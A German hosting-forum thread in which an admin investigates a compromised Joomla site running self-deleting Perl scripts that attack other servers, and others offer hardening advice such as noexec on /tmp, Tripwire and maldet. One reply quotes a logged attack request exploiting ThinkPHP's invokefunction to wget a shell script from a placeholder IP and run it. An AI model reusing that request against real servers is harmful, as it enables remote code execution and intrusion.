Schadsoftware eingefangen

[whisper]

Hallo,
Ich habe in einem Joomla Web auf meinem Server einen fiesen Burschen eingefangen, der andere Server nach Wordpress Installationen durchsucht und angreift. (durch strace Beobachtung herausgefunden)
Abschalten ist kein Problem, es kommt aus dem Joomla.
Wenn ich das Web kurz aktiviere werden die Perl Prozesse wieder gestartet.
Das Problem ist, das ich keine manipulierte Date oder extra Datei im betreffenden Web finden kann.
Klar, ich werde ein Backup einspielen, nur ist es schon eigenartig, dass ich keine Spuren finde.
Eine Möglichkeit wäre ja, das an der Datei der Datumsstempel manipuliert worden ist.
maldet findet auch nichts.
Es wäre gut zu wissen, was ich mir da eingefangen habe.
Nach den straces jedenfalls was fortgeschrittenes, es Greift die Server auf Port 80 und 443 an, es liest meine /hosts /etc/resolv.conf und
/etc/ssl/certs/ca-certificates.crt aus.

Code: Select all

   21936     1  0 17:13 ?        00:00:01 /usr/bin/perl ./jcache domain.de
   21938     1  0 17:13 ?        00:00:00 /usr/bin/perl ./jcache domain.de
   21940     1  0 17:13 ?        00:00:01 /usr/bin/perl ./jcache domain.de
   21942     1  0 17:13 ?        00:00:01 /usr/bin/perl ./jcache domain.de
   21944     1  0 17:13 ?        00:00:01 /usr/bin/perl ./jcache domain.de
   21946     1  0 17:13 ?        00:00:00 /usr/bin/perl ./jcache domain.de
   21948     1  0 17:13 ?        00:00:00 /usr/bin/perl ./jcache domain.de
   21950     1  3 17:13 ?        00:00:05 /usr/bin/perl ./jcache domain.de
   21952     1  0 17:13 ?        00:00:00 /usr/bin/perl ./jcache domain.de
   

usw. 18 Stück

[whisper]

Kleine Ergänzung.
Durch lsof -p

Code: Select all

/var/www/clients/clientX/webyyy/tmp/phpSM2Np7  (deleted)

bin ich darauf gekommen, dass offenbar das Script gestartet wird, dann aber gleich gelöscht wird. Geht das in perl?

[whisper]

Wenn ich länger darüber nachdenke, hätte ich mir mit inotify-tools solange das Web noch aktiv war, das Web überwachen müssen und loggen welche Files angelegt und oder gelöscht werden.
Dann hätte ich es leichter, das betreffende modul, oder Componente zu finden.
Habe ich zwar nicht auf dem Server installiert, aber auf dem Laptop benutze ich es ja auch....

Was ich inzwischen weiß, dass es einige Directories gibt, deren Dateistempel aktuell sind, doch im Dir ist nichts neues, das könnte ein Hinweis sein, dass da eine Datei war, die gelöscht wurde.

hhm, ob ich es nochmal scharf schalte und es versuche?
Ich habe jetzt ein Backup eingespielt und mit hilfe eines 3Zeilers das gesamte Web in Überwachung genommen, bin gespannt.
(Ich höre jetzt auch auf hier rumzuspammen, bis ich einen Treffer habe)

[ddm3ve]

Hi,

also da hat jemand eine Schwachstelle in Deinem Jomla, ggf. Plugins ausgenutzt, Dateien hochgeladen und womöglich direkt ausgeführt.
Ja es geht auch in Perl, dass die Scripte etc. im RAM gehalten werden und damit ausgeführt werden. also werden die Spuren vernichtet und Dateien gelöscht.

Backup einspielen wird Dir eventuell erstmal nicht helfen, weil damit das Einfalltor nicht gestopft ist.
Den Zugriff auf tmp würde ich btw. einschränken. So kann jeder irgendetwas hoch laden und damit schabenrack betreiben.
Aber bevor wir hier weiter machen, kläre zunächst welche Lücke der Kollege ausnutzt und wie er auf Dein System kommt.

[whisper]

Den Zugriff auf tmp würde ich btw. einschränken. So kann jeder irgendetwas hoch laden und damit Schabernack betreiben.
Aber bevor wir hier weiter machen, kläre zunächst welche Lücke der Kollege ausnutzt und wie er auf Dein System kommt.

Leider benötigen die Joomla Instanzen für Updates selber tmp, ist also nicht so einfach, sicherlich könnte man etwas konstruieren.
Die Site hatte eine große Menge an addons verwendet, hier wurde aufgeräumt und ausgemistet, vielleicht ist das fragliche addon eh nun gar nicht mehr da. Schwer zu sagen.
Ich überwache nun den web tree, kostet nicht viel an Aufwand. Mal sehen, auch für andere zukünftige Ereignisse ist das als Prophylaxe
ganz gut.
Im Übrigen bin ich kein Freund von Joomla, in den vielen Jahren als Hobby Admin habe ich bisher nur einen anderen Ursprung gehabt, alle anderen war immer im Grunde ein Fehler in den Tiefen der Module von Joomla.
Einfach zu komplex, das ganze Gebilde.
(und vor allem durch eingebundene Fremdquellen)
In meinem Blog habe ich alles notwendige dokumentiert.
http://zockertown.de/s9y/index.php?/arc ... erver.html

Wenn ich was Neues dazu habe schreibe ich es hier auch.
Ich wollte auch mal wieder hier was schreiben, sieht sonst so tot aus, das Forum.

[ddm3ve]

Naja,
temp Ordner sollten über das Web nicht aufrufbar sein, also eine Acess Denie setzen.

Meine Joomal Zeiten sind längst vorbei, daher kenne ich die Struktur dazu nicht.
Aber es gab damals zahlreiche Verzeichnisse die man eben direkt zugreifbar machen sollte, oder eben sehr stark einschränken, in bilder Ordnerunnur Bilder aufrufen lassen, also alles mit Endung jpg jpeg, png aber halt kein .php etc.
Was die Härtung betrifft solltest Du also ganz klar Dich mit Joomla und den Möglichkeiten bei Apache, Linux etc. beschäftigen.

[whisper]

das ist natürlich richtig.
Aber ist auch bereits so. das Script wird ja nicht über Web gestartet, das wird schon komplexer sein.
Ich bekomme mit meinem test php folgende Meldung über web:

Code: Select all

Not allowed! Please open installer/index.php instead.

ps: es könnte auch in (webroot)/includes/test.php gewesen sein. Aber auch da ist der einfache Aufruf nicht möglich.

[ddm3ve]

Naja, anstarten muss er es schon. Was möglich und denkbar ist, dass er Dir zunähst eine Remoteshell untergeschoben hat.
Also ein PHP Framework, dass Dir per Webinterface eine shell anbietet. Da kann er tun und lassen, was er will. Letztlich wirst Du davon auch nichts in der history finden, weil es ja keine "echte" shell ist.

Die Frage ist aber nach wie vor, wie hat er es geschafft, wo ist die Lücke.
Beispielsweise, ist es u.U. möglich, dass er sich eine Remoteshell per Include eingebunden hat. Dafür müsstest Du in der php.ini prüfen ob sowas erlaubt ist. Hab die Parameter grad nicht zur Hand. Denke Joe User kennt das auch.
Ist sowas durch eine Lücke z.B. eines Plugins erstmal eingebunden, muss das gar nicht direkt aufgerufen werden.

[whisper]

Jo, so eine "shell" wie c99shell hatte ich auch mal vor Jahren. War zwar auch nicht ohne, die zu finden, aber nicht unmöglich :-)
Klar bewegt man sich immer auf dünnen Eis, 100% Sicherheit gibt es halt nicht.
Danke für deine Hinweise!
Ich betreibe die Joomla Instanzen nun seit vielen Jahren, viele Lücken wurden da früher schon ausgenutzt und wieder beseitigt.
Im Rückblick kann man sagen, so schlimm wie früher ist's mit Joomla nicht mehr, vor allem wenn man sich auf die offiziellen Plugins beschränkt. Bis jetzt ists allerdings auch ruhig, was nicht unbedingt was heißen muss.

[rudelgurke]

Tach in die Runde,

derartige "Angriffe" sehe ich vermehrt auch in den Logs. Im Prinzip wird meist eine Remote File Inclusion / Command Execution ausgenutzt, mit der von irgendwo etwas auf die Kiste geschafft werden soll, entpackt und gestartet und dann gelöscht. Damit ist der initiale Zugang da, mit dem dann wahrscheinlich weiter Schabernack gespielt werden soll.

Sieht dann meist so aus:

Code: Select all

GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://256.257.258.259/ex.sh;chmod%20777%20ex.sh;sh%20ex.sh;

Schaut man sich dann eines dieser SH Scripte mal an, wird meist eine 2. Payload gezogen die dann ein Binary enthält. Damit hat man 2 IP's und kann den jeweiligen Kollegen mal einen Tipp geben. ;)

Zur /tmp Thematik, das Ganze ruhig mittels "noexec" mounten, so kann zumindest nichts ausgeführt werden und das hat bei uns bisher noch nie Probleme gemacht.
Zum eigentlichen Problem, die Webroot's einwickeln, an andere Stelle auspacken und dann mit einer frischen Installation vergleichen um zu sehen was geändert wurde.
Wenn alles sauber ist, vielleicht hilft ein IDS wie Tripwire dass bei geänderten Daten warnt. Mit etwas Fein-Tunning dass nicht jedes Mal ein Alarm getriggert wird wenn jemand in Joomla etwas ändert.

Soweit ich mich erinnern kann hat konnte man bei Joomla diverse Verzeichnisse in die der jeweilige User schreiben musste, explizit vom PHP Parsing ausnehmen (mittels RemoveHandler bei FPM / FastCGI) - allerdings ist dass schon einige Zeit her.

[ddm3ve]

Da mit noexec ist ein guter Hinweis,

ich kenne das nun nur auf Solaris Seite gut, da wiederum war das interpretieren von PHP Code dennoch möglich, weil der PHP Code nicht direkt ausgeführt sondern durch den interpreter gelesen wurde.

Tripwire kann helfen, maldet wäre eine Alternative hierfür.